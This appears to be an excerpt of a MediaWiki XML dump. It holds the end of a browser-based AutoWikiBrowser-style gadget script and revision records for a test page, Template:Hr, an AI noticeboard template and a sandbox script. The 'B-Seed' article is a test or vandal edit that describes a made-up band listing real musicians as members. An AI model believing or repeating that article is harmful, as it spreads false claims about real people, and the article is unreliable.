toggleUI(false);
updateListCount();
if (autoSaveTimer) clearTimeout(autoSaveTimer);
}
function arrayMove(arr, old_index, new_index) {
if (new_index >= arr.length) {
var k = new_index - arr.length + 1;
while (k--) arr.push(undefined);
}
arr.splice(new_index, 0, arr.splice(old_index, 1)[0]);
}
function updateRuleButtons() {
rulesRegistry.forEach(function(item, idx) {
item.btnUp.setDisabled(idx === 0);
item.btnDown.setDisabled(idx === rulesRegistry.length - 1);
});
}
function addRule() {
var row = $('<div>').addClass('wa-rule-row');
var controls = $('<div>').addClass('wa-rule-controls');
var btnUp = new OO.ui.ButtonWidget({
icon: 'collapse',
framed: false,
title: 'Move up',
classes: ['wa-rule-btn']
});
var btnDown = new OO.ui.ButtonWidget({
icon: 'expand',
framed: false,
title: 'Move down',
classes: ['wa-rule-btn']
});
controls.append(btnUp.$element, btnDown.$element);
var contentDiv = $('<div>').addClass('wa-rule-content');
var f = new OO.ui.TextInputWidget({
placeholder: 'Find'
});
var r = new OO.ui.TextInputWidget({
placeholder: 'Replace'
});
var reg = new OO.ui.ToggleSwitchWidget();
var fl = new OO.ui.TextInputWidget({
value: 'gmu',
disabled: true
}).toggle(false);
var btnEnable = new OO.ui.ButtonWidget({
icon: 'power',
framed: false,
title: 'Toggle rule',
flags: ['progressive']
});
var isRuleActive = true;
var btnFunc = new OO.ui.ButtonWidget({
icon: 'code',
framed: false,
title: 'Toggle JS mode',
disabled: true
});
var isRuleFunc = false;
var toggleRule = function(forceVal) {
var val = (forceVal !== undefined) ? forceVal : !isRuleActive;
isRuleActive = val;
row.css('opacity', isRuleActive ? 1 : 0.6);
if (isRuleActive) btnEnable.setFlags(['progressive']);
else btnEnable.clearFlags();
};
btnEnable.on('click', function() {
toggleRule();
});
var toggleFunc = function(forceVal) {
var val = (forceVal !== undefined) ? forceVal : !isRuleFunc;
isRuleFunc = val;
if (isRuleFunc) {
btnFunc.setFlags(['progressive']);
r.$input.attr('placeholder', 'return match.toUpperCase();');
} else {
btnFunc.clearFlags();
r.$input.attr('placeholder', 'Replace');
}
};
btnFunc.on('click', function() {
toggleFunc();
});
btnFunc.toggle(false);
reg.on('change', function(v) {
fl.setDisabled(!v);
fl.toggle(v);
btnFunc.setDisabled(!v);
if (!v) {
btnFunc.toggle(false);
if (isRuleFunc) toggleFunc(false);
} else btnFunc.toggle(true);
});
var del = new OO.ui.ButtonWidget({
icon: 'trash',
flags: 'destructive',
framed: false,
title: 'Delete rule',
});
del.on('click', function() {
row.fadeOut(200, function() {
row.remove();
rulesRegistry = rulesRegistry.filter(x => x.row !== row);
updateRuleButtons();
});
});
contentDiv.append(f.$element, $('<div>').css('margin-top', '3px').append(r.$element), $('<div>').addClass('wa-rule-opt-row').append($('<div>').css({
'display': 'flex',
'align-items': 'center'
}).append($('<div>').css({
'display': 'flex',
'align-items': 'center'
}).append($('<span>').text('Regex: ').css({
'font-size': '0.8em',
'margin-right': '4px'
}), reg.$element, fl.$element.css({
'width': '50px',
'margin-left': '5px'
})), btnFunc.$element.css('margin-left', '10px')), $('<div>').css('display', 'flex').append(btnEnable.$element, del.$element)));
row.append(controls, contentDiv);
$rulesList.append(row);
var ruleItem = {
row: row,
find: f,
rep: r,
regex: reg,
flags: fl,
btnUp: btnUp,
btnDown: btnDown,
enable: btnEnable,
del: del,
btnFunc: btnFunc,
isActive: function() {
return isRuleActive;
},
setActive: toggleRule,
isFunc: function() {
return isRuleFunc;
},
setFunc: toggleFunc
};
rulesRegistry.push(ruleItem);
btnUp.on('click', function() {
var idx = rulesRegistry.indexOf(ruleItem);
if (idx > 0) {
var prevRow = rulesRegistry[idx - 1].row;
row.fadeOut(150, function() {
row.insertBefore(prevRow).fadeIn(150).addClass('wa-highlight');
setTimeout(function() {
row.removeClass('wa-highlight');
}, 500);
});
arrayMove(rulesRegistry, idx, idx - 1);
updateRuleButtons();
}
});
btnDown.on('click', function() {
var idx = rulesRegistry.indexOf(ruleItem);
if (idx < rulesRegistry.length - 1) {
var nextRow = rulesRegistry[idx + 1].row;
row.fadeOut(150, function() {
row.insertAfter(nextRow).fadeIn(150).addClass('wa-highlight');
setTimeout(function() {
row.removeClass('wa-highlight');
}, 500);
});
arrayMove(rulesRegistry, idx, idx + 1);
updateRuleButtons();
}
});
updateRuleButtons();
}
btnAddRule.on('click', addRule);
addRule();
togWikiTypos.on('change', function(v) {
if (v) {
if (wikiTypos.length > 0) lblWikiStatus.text(wikiTypos.length + ' rules loaded (Cached)');
else {
lblWikiStatus.text('Fetching...');
togWikiTypos.setDisabled(true);
new mw.Api().get({
action: 'query',
prop: 'revisions',
titles: mw.config.get('wgFormattedNamespaces')[4] + ':AutoWikiBrowser/Typos',
rvprop: 'content',
rvslots: 'main',
formatversion: 2
}).then(function(d) {
var page = d.query.pages[0];
if (!page.missing) {
wikiTypos = parseTypoContent(page.revisions[0].slots.main.content);
lblWikiStatus.text(wikiTypos.length + ' rules loaded');
} else {
lblWikiStatus.text('Page not found');
togWikiTypos.setValue(false);
}
}).catch(function() {
lblWikiStatus.text('Error');
togWikiTypos.setValue(false);
}).always(function() {
togWikiTypos.setDisabled(false);
});
}
} else lblWikiStatus.text('Rules inactive');
});
btnLoadLocal.on('click', function() {
$typoInput.click();
});
$typoInput.on('change', function(e) {
var file = e.target.files[0];
if (!file) return;
var reader = new FileReader();
reader.onload = function(evt) {
localTypos = parseTypoContent(evt.target.result);
lblLocalStatus.text(localTypos.length + ' local rules loaded');
btnClearLocal.setDisabled(false);
};
reader.readAsText(file);
$typoInput.val('');
});
btnClearLocal.on('click', function() {
localTypos = [];
lblLocalStatus.text('No local rules');
btnClearLocal.setDisabled(true);
});
btnLoadLib.on('click', function() {
$libInput.click();
});
btnRemoveLib.on('click', function() {
currentLibrary = {
name: null,
code: null
};
updateLibUI();
});
$libInput.on('change', function(e) {
var file = e.target.files[0];
if (!file) return;
var reader = new FileReader();
reader.onload = function(evt) {
currentLibrary = {
name: file.name,
code: evt.target.result
};
updateLibUI();
};
reader.readAsText(file);
$libInput.val('');
});
btnPower.on('click', async function() {
hasNewSources = false;
checkSummaryWarning();
$('.wa-editor-header').removeClass('wa-header-alert');
if (!isRunning) {
viewScroll = resetViewScroll();
if (ON_NOTIFY === "warn" || ON_NOTIFY === "stop") {
setStatus('Setting watermark...', 'working');
try {
var notifData = await new mw.Api().get({
action: 'query',
meta: 'notifications',
notprop: 'list',
notsections: 'alert',
notlimit: 1,
formatversion: 2
});
if (notifData.query && notifData.query.notifications && notifData.query.notifications.list.length > 0) {
notificationWatermark = parseInt(notifData.query.notifications.list[0].id, 10) || 0;
} else {
notificationWatermark = 0;
}
} catch (e) {
console.warn("wAwB: Failed to fetch notification watermark", e);
}
}
if (SAVED_SESSION === 0) mw.track('stats.mediawiki_gadget_wAwB_total');
isRunning = true;
toggleUI(true);
loadNextPage();
} else {
if (SAVED_RUN > 0) {
mw.track('stats.mediawiki_gadget_wAwB_saved_total', SAVED_RUN, {
wiki: WIKI
});
SAVED_SESSION += SAVED_RUN;
SAVED_RUN = 0;
}
isRunning = false;
toggleUI(false);
WorkerEngine.destroy();
resetPanels();
}
});
inputSummary.on('change', function() {
checkSummaryWarning();
if (currentTitle) {
updateSummaryPreview(inputSummary.getValue());
}
});
btnSkip.on('click', function() {
if (Editor.getValue() === 'Loading...') return;
removeTopLine();
loadNextPage();
});
btnDiff.on('click', function() {
currentViewMode = 'diff';
updateDirtyState();
if (currentTitle) renderDiff();
});
btnPreview.on('click', function() {
currentViewMode = 'preview';
updateDirtyState();
if (currentTitle) renderPreview();
});
btnSave.on('click', function() {
if (Editor.getValue() === 'Loading...' || !currentTitle) return;
if (autoSaveTimer) clearTimeout(autoSaveTimer);
btnSave.setDisabled(true);
setStatus('Saving...', 'working');
var effectiveDelay = PERMS.saveDelay || 0;
if (effectiveDelay > 0) setStatus('Throttling (' + (effectiveDelay / 1000) + 's)...', 'working');
setTimeout(function() {
if (effectiveDelay > 0) setStatus('Saving...', 'working');
var finalSum = $('#wa-summary-preview').val().trim();
var summary = finalSum + SUMMARY_SUFFIX;
new mw.Api().postWithToken('csrf', {
action: 'edit',
assert: 'user', //throw 'assertuserfailed' when logged-out
title: currentTitle,
text: Editor.getValue(),
summary: summary,
minor: chkMinor.isSelected(),
baserevid: baseRevId,
bot: PERMS.allowBot,
watchlist: 'nochange',
tags: DO_TAG ? APP_NAME : undefined
}).then(function() {
SAVED_RUN += 1;
removeTopLine();
loadNextPage();
}).catch(function(c) {
btnSave.setDisabled(false);
setStatus('Save error', 'error');
alert('Save failed: ' + c);
});
}, effectiveDelay);
});
btnManualEdit.on('click', function() {
if (Editor.getValue() === 'Loading...' || !currentTitle) return;
// Calculate the final injected summary
var base = currentPageSummaryOverride !== null ? currentPageSummaryOverride : inputSummary.getValue();
var finalSum = base + (currentPageSummaryAppend || "");
var translatedSummary = injectVars(finalSum);
var summary = translatedSummary; // no SUMMARY_SUFFIX
// Create an invisible form targeting a new tab
var $form = $('<form>').attr({
method: 'POST',
action: mw.util.getUrl(currentTitle, { action: 'edit' }),
target: '_blank'
}).hide();
// Populate it with MediaWiki's native input names
$('<textarea>').attr('name', 'wpTextbox1').val(Editor.getValue()).appendTo($form);
$('<input>').attr('name', 'wpSummary').val(summary).appendTo($form);
if (chkMinor.isSelected()) {
$('<input>').attr('name', 'wpMinoredit').val('1').appendTo($form);
}
// Append, fire, and destroy
$form.appendTo('body').submit().remove();
});
btnWatch.on('click', function() {
var isWatched = btnWatch.getIcon() === 'unStar';
new mw.Api()[isWatched ? 'unwatch' : 'watch'](currentTitle).then(function() {
btnWatch.setIcon(isWatched ? 'star' : 'unStar');
mw.notify(isWatched ? 'Unwatched' : 'Watched');
});
});
btnAdd.on('click', function() {
if (isFetching) {
isFetching = false;
btnAdd.setDisabled(true).setLabel('Cancelling...');
return;
}
try {
var mode = srcSelect.getValue(),
q = srcInput.getValue().trim();
if (mode !== 'watchlist' && mode !== 'usercontribs' && mode !== 'pageswithprop' && !q) {
alert('Query empty');
return;
}
var nsIds = ($nsSelect.val() || []).map(v => parseInt(v));
var nsStr = nsIds.join('|');
var api = new mw.Api(),
promises = [];
if (mode === 'cat') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'categorymembers',
cmtitle: mw.Title.newFromText(q, 14) ? mw.Title.newFromText(q, 14).getPrefixedText() : 'Category:' + q,
cmnamespace: nsStr,
cmtype: (chkCatPages.isSelected() ? 'page|' : '') + (chkCatSub.isSelected() ? 'subcat|' : '') + (chkCatFile.isSelected() ? 'file' : ''),
cmlimit: 'max'
}));
else if (mode === 'linksto') {
if (chkLinkWiki.isSelected()) promises.push(fetchWithContinue(api, {
action: 'query',
list: 'backlinks',
bltitle: q,
blnamespace: nsStr,
bllimit: 'max',
blfilterredir: dropLinkRedir.getValue(),
blredirect: chkLinkToRedir.isSelected()
}));
if (chkLinkTrans.isSelected()) promises.push(fetchWithContinue(api, {
action: 'query',
list: 'embeddedin',
eititle: q,
einamespace: nsStr,
eilimit: 'max',
eifilterredir: dropLinkRedir.getValue()
}));
if (chkLinkImg.isSelected()) promises.push(fetchWithContinue(api, {
action: 'query',
list: 'imageusage',
iutitle: q,
iunamespace: nsStr,
iulimit: 'max',
iufilterredir: dropLinkRedir.getValue()
}));
} else if (mode === 'linkson') promises.push(fetchWithContinue(api, {
action: 'query',
generator: 'links',
titles: q,
gplnamespace: nsStr,
gpllimit: 'max',
prop: 'info'
}));
else if (mode === 'prefix') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'allpages',
apprefix: q,
apnamespace: nsIds[0] || 0,
aplimit: 'max'
}));
else if (mode === 'watchlist') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'watchlistraw',
wrnamespace: nsStr,
wrlimit: 'max'
}));
else if (mode === 'search') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'search',
srsearch: q,
srnamespace: nsStr,
srlimit: 'max'
}));
else if (mode === 'usercontribs') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'usercontribs',
ucuser: srcInputUser.getValue(),
ucstart: srcInputStartDate.getValue(),
ucend: srcInputEndDate.getValue(),
ucdir: 'newer',
uclimit: 'max',
ucnamespace: nsStr,
ucprop: 'title'
}));
else if (mode === 'pageswithprop') promises.push(fetchWithContinue(api, {
action: 'query',
list: 'pageswithprop',
pwppropname: srcDropProp.getValue(),
pwplimit: 'max'
}));
Promise.all(promises).then(function(res) {
var list = new Set();
res.forEach(titles => titles.forEach(t => list.add(t)));
var currentVal = listTextarea.getValue();
var newVal = Array.from(list).join('\n');
listTextarea.setValue(currentVal ? currentVal + '\n' + newVal : newVal);
mw.notify('Added ' + list.size + ' pages');
}).catch(e => alert('Error: ' + e));
} catch (e) {
alert("Fetch error: " + e);
}
});
btnSort.on('click', function() {
var v = listTextarea.getValue();
if (v) {
var lines = getNormalizedList(v);
lines.sort((a, b) => sortAsc ? a.localeCompare(b) : b.localeCompare(a));
listTextarea.setValue(lines.join('\n'));
sortAsc = !sortAsc;
}
});
btnDedup.on('click', function() {
var v = listTextarea.getValue();
if (v) listTextarea.setValue(getDeduplicatedList(v).join('\n'));
});
btnClear.on('click', function() {
listTextarea.setValue('');
});
btnSaveProj.on('click', function() {
try {
var currentMode = srcSelect.getValue();
if (['watchlist', 'usercontribs', 'pageswithprop'].indexOf(currentMode) === -1) queryCache[currentMode] = srcInput.getValue();
var saveExcludes = {};
for (var k in protCheckboxes) saveExcludes[k] = protCheckboxes[k].isSelected();
var data = {
version: APP_VERSION,
library: currentLibrary,
source: {
activeMode: currentMode,
namespaces: ($nsSelect.val() || []).map(v => parseInt(v)),
modes: {
cat: {
query: queryCache['cat'] || '',
options: {
pages: chkCatPages.isSelected(),
sub: chkCatSub.isSelected(),
file: chkCatFile.isSelected()
}
},
linksto: {
query: queryCache['linksto'] || '',
options: {
wiki: chkLinkWiki.isSelected(),
trans: chkLinkTrans.isSelected(),
img: chkLinkImg.isSelected(),
redir: dropLinkRedir.getValue(),
toRedir: chkLinkToRedir.isSelected()
}
},
linkson: {
query: queryCache['linkson'] || ''
},
prefix: {
query: queryCache['prefix'] || ''
},
watchlist: {
query: ''
},
search: {
query: queryCache['search'] || ''
},
usercontribs: {
options: {
user: srcInputUser.getValue(),
start: srcInputStartDate.getValue(),
end: srcInputEndDate.getValue()
}
},
pageswithprop: {
options: {
prop: srcDropProp.getValue()
}
}
}
},
settings: {
redir: redirMode.findSelectedItem().getData(),
skipLogic: radSkipExist.findSelectedItem().getData(),
skipNoChange: chkSkipNoChange.isSelected(),
minor: chkMinor.isSelected()
},
filters: {
contains: {
val: inpSkipContains.getValue(),
regex: togSkipContainsRegex.getValue()
},
notContains: {
val: inpSkipNotContains.getValue(),
regex: togSkipNotContainsRegex.getValue()
},
categories: {
skip: inpSkipCategories.getValue(),
require: inpSkipNotCategories.getValue()
}
},
rules: rulesRegistry.map(r => ({
find: r.find.getValue(),
replace: r.rep.getValue(),
regex: r.regex.getValue(),
flags: r.flags.getValue(),
enabled: r.isActive(),
isFunc: r.isFunc()
})),
scripts: {
pre: txtPreScript.getValue(),
post: txtPostScript.getValue()
},
processing: {
summary: inputSummary.getValue(),
list: listTextarea.getValue()
},
protection: {
mode: dropProtMode.getValue(),
excludes: saveExcludes,
target: (radTargetSet.findSelectedItem() || {
getData: () => null
}).getData(),
templateFilter: inpTemplateFilter.getValue()
}
};
var a = document.createElement('a');
a.href = URL.createObjectURL(new Blob([JSON.stringify(data, null, 1)], {
type: "application/json"
}));
a.download = "wawb_project.json";
a.click();
} catch (e) {
alert("Save error: " + e);
}
});
btnLoadProj.on('click', function() {
$fileInput.click();
});
function applyIf(val, action) {
if (val !== undefined && val !== null) action(val);
}
$fileInput.on('change', function(e) {
var file = e.target.files[0];
if (!file) return;
var reader = new FileReader();
reader.onload = function(evt) {
try {
var data = JSON.parse(evt.target.result);
isLoadingProject = true;
// --- 1. SOURCE SETTINGS ---
applyIf(data?.source?.namespaces, v => $nsSelect.val(v.map(String)));
if (data?.source?.modes) {
var m = data.source.modes;
// Merge into queryCache instead of wiping it
for (var key in m) {
if (m[key]?.query !== undefined) queryCache[key] = m[key].query;
}
applyIf(m?.cat?.options?.pages, v => chkCatPages.setSelected(v));
applyIf(m?.cat?.options?.sub, v => chkCatSub.setSelected(v));
applyIf(m?.cat?.options?.file, v => chkCatFile.setSelected(v));
applyIf(m?.linksto?.options?.wiki, v => chkLinkWiki.setSelected(v));
applyIf(m?.linksto?.options?.trans, v => chkLinkTrans.setSelected(v));
applyIf(m?.linksto?.options?.img, v => chkLinkImg.setSelected(v));
applyIf(m?.linksto?.options?.redir, v => dropLinkRedir.setValue(v));
applyIf(m?.linksto?.options?.toRedir, v => chkLinkToRedir.setSelected(v));
applyIf(m?.usercontribs?.options?.user, v => srcInputUser.setValue(v));
applyIf(m?.usercontribs?.options?.start, v => srcInputStartDate.setValue(v));
applyIf(m?.usercontribs?.options?.end, v => srcInputEndDate.setValue(v));
applyIf(m?.pageswithprop?.options?.prop, v => srcDropProp.setValue(v));
}
// --- 2. SETTINGS & SKIP LOGIC ---
applyIf(data?.settings?.redir, v => redirMode.selectItemByData(v));
applyIf(data?.settings?.skipLogic, v => radSkipExist.selectItemByData(v));
applyIf(data?.settings?.skipNoChange, v => chkSkipNoChange.setSelected(v));
applyIf(data?.settings?.minor, v => chkMinor.setSelected(v));
// --- 3. PROTECTION ---
applyIf(data?.protection?.mode, v => dropProtMode.setValue(v));
applyIf(data?.protection?.target, v => radTargetSet.selectItemByData(v));
applyIf(data?.protection?.templateFilter, v => inpTemplateFilter.setValue(v));
if (data?.protection?.excludes) {
for (var k in data.protection.excludes) {
if (protCheckboxes[k]) applyIf(data.protection.excludes[k], v => protCheckboxes[k].setSelected(v));
}
}
// --- 4. LIBRARY ---
applyIf(data?.library?.name, v => currentLibrary.name = v);
applyIf(data?.library?.code, v => currentLibrary.code = v);
if (data?.library?.name || data?.library?.code) updateLibUI();
// --- 5. FILTERS ---
applyIf(data?.filters?.contains?.val, v => inpSkipContains.setValue(v));
applyIf(data?.filters?.contains?.regex, v => togSkipContainsRegex.setValue(v));
applyIf(data?.filters?.notContains?.val, v => inpSkipNotContains.setValue(v));
applyIf(data?.filters?.notContains?.regex, v => togSkipNotContainsRegex.setValue(v));
applyIf(data?.filters?.categories?.skip, v => inpSkipCategories.setValue(v));
applyIf(data?.filters?.categories?.require, v => inpSkipNotCategories.setValue(v));
// --- 6. SCRIPTS & PROCESSING ---
applyIf(data?.scripts?.pre, v => txtPreScript.setValue(v));
applyIf(data?.scripts?.post, v => txtPostScript.setValue(v));
applyIf(data?.processing?.summary, v => inputSummary.setValue(v));
applyIf(data?.processing?.list, v => listTextarea.setValue(v));
// --- 7. DYNAMIC RULES ARRAY ---
if (data?.rules && Array.isArray(data.rules)) {
rulesRegistry.forEach(r => r.row.remove());
rulesRegistry = [];
$rulesList.empty();
data.rules.forEach(r => {
addRule();
var last = rulesRegistry[rulesRegistry.length - 1];
applyIf(r.find, v => last.find.setValue(v));
applyIf(r.replace, v => last.rep.setValue(v));
applyIf(r.regex, v => {
last.regex.setValue(v);
last.flags.setDisabled(!v);
});
applyIf(r.flags, v => last.flags.setValue(v));
applyIf(r.enabled, v => last.setActive(v));
applyIf(r.isFunc, v => last.setFunc(v));
});
if (rulesRegistry.length === 0) addRule();
}
// --- 8. TRIGGER UI UPDATES ---
applyIf(data?.source?.activeMode, v => {
isLoadingProject = false;
srcSelect.setValue(v);
srcSelect.emit('change', v);
isLoadingProject = true;
});
isLoadingProject = false;
setStatus('Project loaded');
} catch (err) {
alert("Load Error: " + err);
}
$fileInput.val('');
};
reader.readAsText(file);
});
if (CAN_MOVE || IS_ADMIN) {
togAdminEnable.on('change', function(val) {
if (!currentTitle) {
updateInterfaceMode();
return;
}
if (val) {
Editor.setValue(originalWikitext);
updateInterfaceMode();
renderDiff();
setStatus('Ready (Page actions)');
} else processPageContent();
});
}
if (CAN_MOVE) {
btnAdminMove.on('click', function() {
if (!currentVars['$xA']) {
mw.notify('Variable $xA not set', {
type: 'error'
});
return;
}
new mw.Api().postWithToken('csrf', {
action: 'move',
assert: 'user', //throw 'assertuserfailed' when logged-out
from: currentTitle,
to: currentVars['$xA'],
reason: inputSummary.getValue() + SUMMARY_SUFFIX,
movetalk: chkMovTalk.isSelected(),
movesubpages: chkMovSub.isSelected(),
noredirect: chkMovRedirect.isSelected()
}).then(function() {
removeTopLine();
loadNextPage();
}).catch(e => alert('Move failed: ' + e));
});
}
if (IS_ADMIN) {
btnAdminDel.on('click', function() {
new mw.Api().postWithToken('csrf', {
action: 'delete',
assert: 'user', //throw 'assertuserfailed' when logged-out
title: currentTitle,
reason: inputSummary.getValue() + SUMMARY_SUFFIX
}).then(function() {
if (chkDelTalk.isSelected()) new mw.Api().postWithToken('csrf', {
action: 'delete',
title: mw.Title.newFromText(currentTitle).getTalkPage().getPrefixedText(),
reason: 'Talk page of deleted page'
});
removeTopLine();
loadNextPage();
}).catch(e => alert('Delete failed: ' + e));
});
btnAdminProt.on('click', function() {
var protections = [];
if (dropProtEdit.getValue()) protections.push('edit=' + dropProtEdit.getValue());
if (dropProtMove.getValue()) protections.push('move=' + dropProtMove.getValue());
new mw.Api().postWithToken('csrf', {
action: 'protect',
assert: 'user', //throw 'assertuserfailed' when logged-out
title: currentTitle,
protections: protections.join('|'),
expiry: inpProtExpiry.getValue() || 'infinite',
reason: inputSummary.getValue() + SUMMARY_SUFFIX
}).then(function() {
removeTopLine();
loadNextPage();
}).catch(e => alert('Protect failed: ' + e));
});
}
Editor.init();
resetPanels();
});
$(window).on('beforeunload', function() {
return "You have unsaved work.";
});
}).catch(e => console.error("wAwB Loader Error:", e));
//</nowiki>
j9j8m70abioqo3nvooxyezqdylnotp3
Page 1
0
175349
768303
741536
2026-10-13T16:47:43Z
~2026-55017-37
76178
testing
768303
wikitext
text/x-wiki
test edit
[[Category:Number page]]
jspsbkmh9qt2p83amv8tgpmz8lvga87
Template:Hr
10
178153
768354
761764
2026-10-14T02:54:38Z
Tamarind50182
75180
/* */
768354
wikitext
text/x-wiki
{{#if:{{{1|}}}|
{{#if:{{{2|}}}|
<hr style="height:{{{1}}}px; width:{{{2}}};" />
|
<hr style="height:{{{1}}}px;" />
}}
|
{{#if:{{{2|}}}|
<hr style="width:{{{2}}}%;" />
|
<hr />
}}
}}
<noinclude><templatedata>
{
"params": {
"1": {
"label": "Height",
"description": "The thickness of the rule, in pixels.",
"type": "number",
"default": "1",
"example": "1.5"
},
"2": {
"default": "100",
"label": "Width",
"description": "The width of the rule, in pixels.",
"type": "number"
}
},
"description": "Displays a horizontal rule (horizontal line).",
"format": "{{_\n |_ = _\n}}"
}
</templatedata></noinclude>
og7fhibf75zf1zc11wiots308cxwv1n
768355
768354
2026-10-14T03:01:00Z
Tamarind50182
75180
/* */
768355
wikitext
text/x-wiki
{{#if:{{{1|}}}|
{{#if:{{{2|}}}|
<hr style="height:{{{1}}}px; width:{{{2}}};" />
|
<hr style="height:{{{1}}}px;" />
}}
|
{{#if:{{{2|}}}|
<hr style="width:{{{2}}}%;" />
|
<hr />
}}
}}
<noinclude><templatedata>
{
"params": {
"1": {
"label": "Height",
"description": "The thickness of the rule, in pixels.",
"type": "number",
"default": "1",
"example": "1.5"
},
"2": {
"default": "100",
"label": "Width",
"description": "The width of the rule, in pixels.",
"type": "number"
}
},
"description": "Displays a horizontal rule (horizontal line).",
"format": "{{_\n| _ = _\n}}"
}
</templatedata></noinclude>
qrqmoqn2wyuuyz0thkr5depongmgn8z
768356
768355
2026-10-14T03:02:27Z
Tamarind50182
75180
/* */
768356
wikitext
text/x-wiki
{{#if:{{{1|}}}|
{{#if:{{{2|}}}|
<hr style="height:{{{1}}}px; width:{{{2}}};" />
|
<hr style="height:{{{1}}}px;" />
}}
|
{{#if:{{{2|}}}|
<hr style="width:{{{2}}}%;" />
|
<hr />
}}
}}
<noinclude><templatedata>
{
"params": {
"1": {
"label": "Height",
"description": "The thickness of the rule, in pixels.",
"type": "number",
"default": "1",
"example": "1.5"
},
"2": {
"default": "100",
"label": "Width",
"description": "The width of the rule, in pixels.",
"type": "number"
}
},
"description": "Displays a horizontal rule (horizontal line).",
"format": "{{_\n| ___________________ = _\n}}"
}
</templatedata></noinclude>
1dyo3skb5fekqt0vb1y10ak3jk9un4p
768357
768356
2026-10-14T03:03:23Z
Tamarind50182
75180
/* */
768357
wikitext
text/x-wiki
{{#if:{{{1|}}}|
{{#if:{{{2|}}}|
<hr style="height:{{{1}}}px; width:{{{2}}};" />
|
<hr style="height:{{{1}}}px;" />
}}
|
{{#if:{{{2|}}}|
<hr style="width:{{{2}}}%;" />
|
<hr />
}}
}}
<noinclude><templatedata>
{
"params": {
"1": {
"label": "Height",
"description": "The thickness of the rule, in pixels.",
"type": "number",
"default": "1",
"example": "1.5"
},
"2": {
"default": "100",
"label": "Width",
"description": "The width of the rule, in pixels.",
"type": "number"
}
},
"description": "Displays a horizontal rule (horizontal line).",
"format": "\n{{_\n| ___________________ = _\n}}"
}
</templatedata></noinclude>
md08pj5fl9fkxx3wxaanh6i3tjbws38
768358
768357
2026-10-14T03:07:25Z
Tamarind50182
75180
/* */
768358
wikitext
text/x-wiki
{{#if:{{{1|}}}|
{{#if:{{{2|}}}|
<hr style="height:{{{1}}}px; width:{{{2}}};" />
|
<hr style="height:{{{1}}}px;" />
}}
|
{{#if:{{{2|}}}|
<hr style="width:{{{2}}}%;" />
|
<hr />
}}
}}
<noinclude><templatedata>
{
"params": {
"1": {
"label": "Height",
"description": "The thickness of the rule, in pixels.",
"type": "number",
"default": "1",
"example": "1.5"
},
"2": {
"default": "100",
"label": "Width",
"description": "The width of the rule, in pixels.",
"type": "number"
}
},
"description": "Displays a horizontal rule (horizontal line).",
"format": "{{_\n| _ = _\n}}"
}
</templatedata></noinclude>
38c2imfdsnag9vhun44ap3dodxxagw9
B-Seed
0
178254
768349
768177
2026-10-14T00:36:50Z
~2026-55280-95
76186
/* Current members */
768349
wikitext
text/x-wiki
{{Use dmy dates|date=November 2021}}
{{Short description|Canadian-American band}}
{{More citations needed|date=July 2011}}
{{Infobox musical artist
| name = B-Seed
| image =
| image_upright =
| caption =
| alias =
| origin = {{plainlist|
* Canada
* United States
}}
| genre = [[Dancehall]], [[reggaeton]], [[reggae fusion]], [[reggae]], [[Hip hop music|hip hop]]
| years_active = 2008–present
| label = {{hlist|[[Rhino Entertainment|Rhino]]|[[WEA Records|WEA]]|[[East West Records|EastWest]]|[[Legacy Recordings|Legacy]]}}
| website = {{URL|b-seed.com}}
| current_members =
* [[Daddy Yankee]]
* [[Pitbull (rapper)|Pitbull]]
* [[Sean Paul]]
* [[DJ Buddha]]
* [[Eric Stefani]]
* Jeremy Harding
* Fahrenheit
* [[Tom Dumont]]
* [[Tony Kanal]]
* Jigzagula
* [[Adrian Young]]
| past_members =
* [[DJ Buddha]]
}}
'''B-Seed''' is a Canadian-American [[Hip hop music|hip hop]], [[reggae]], [[dancehall]] and [[reggaeton]] band based in [[Canadian Americans]]. Founded in 2008, they have become well known in [[Canadian Americans|Canada-United States]] and its neighboring countries. I like apples and bananas
== Musical style and lyrics ==
Test edits
== History ==
[[File:Hand and power stone bracelets.jpg | thumb | right | Picture of stuff]]
Test edits
==Band members==
===Current members===
* [[Daddy Yankee]] – vocals {{small|(2008–present)}}
* [[Pitbull (rapper)|Pitbull]] – vocals {{small|(2008–present)}}
* [[Sean Paul]] – vocals {{small|(2008–present)}}
* [[IAmChino]] – turntables {{small|(2016–present)}}
* [[Eric Stefani]] – keyboards, backing vocals {{small|(2008–present)}}
* Jeremy Harding – saxophone {{small|(2008–present)}}
* Fahrenheit – trombone, backing vocals {{small|(2008–present)}}
* [[Tom Dumont]] – guitars {{small|(2008–present)}}
* [[Tony Kanal]] – bass {{small|(2008–present)}}
* Jigzagula – percussion, backing vocals {{small|(2008–present)}}
* [[Adrian Young]] – drums {{small|(2008–present)}}
===Former members===
* [[DJ Buddha]] – turntables {{small|(2008–2016)}}
== Discography ==
Disco
[[File:Discomyza incurva.jpg | thumb | right | Disco fly]]
{{main|B-Seed discography}}
* ''[[Old Dubby Conquerors]]'' (2011)
* ''[[Music Monck]]'' (2013)
* ''[[Nexus!]]'' (2015)
* ''[[B-Seed (album)|B-Seed]]'' (2018)
* ''[[Bom Bom (album)|Bom Bom]]'' (2022)
== References ==
{{Reflist}}
== External links ==
* [http://www.b-seed.info/ B-Seed's official website]
{{B-Seed}}
{{Authority control}}
[[Category:Canadian reggae musical groups]]
[[Category:American reggae musical groups]]
[[Category:Musical groups from Canada]]
[[Category:Musical groups established in 2008]]
cn0rmkrwwerpiua4x6f0lpof4fvwj5r
Wikipedia:AI noticeboard/AINB/Blank report
4
178750
768350
766406
2026-10-14T01:51:54Z
NicheSports
73348
try to add case name to discussion section
768350
wikitext
text/x-wiki
{{AINB case banner|cleanup=$1|llmprod=$3|conduct=$2|case_name=$4|original_file_date={{safesubst<noinclude/>:#time:j F Y}}|case_type=$6|<noinclude>|nocat=yes</noinclude>}}
== Discussion $4 ==
$5
== Cleanup ==
{{AIC article list|
<!--{{AIC article row|article=Title|status=to do (default); ongoing; completed; unnecessary|notes=Additional notes, e.g. links to individual edits}}-->
|collapsible=yes}}
62apbmdcvmnv8i5j17eapk1qrlmcnbg
User:Nardog/sandbox11.js
2
178772
768274
768264
2026-10-13T12:06:46Z
Nardog
40946
768274
javascript
text/javascript
mw.hook('wikipage.diff').remove(window.sdcb);
mw.hook('wikipage.diff.wikitextBodyUpdate').remove(window.sdcbu);
$('.smartdiff-link').contents().unwrap().end().remove();
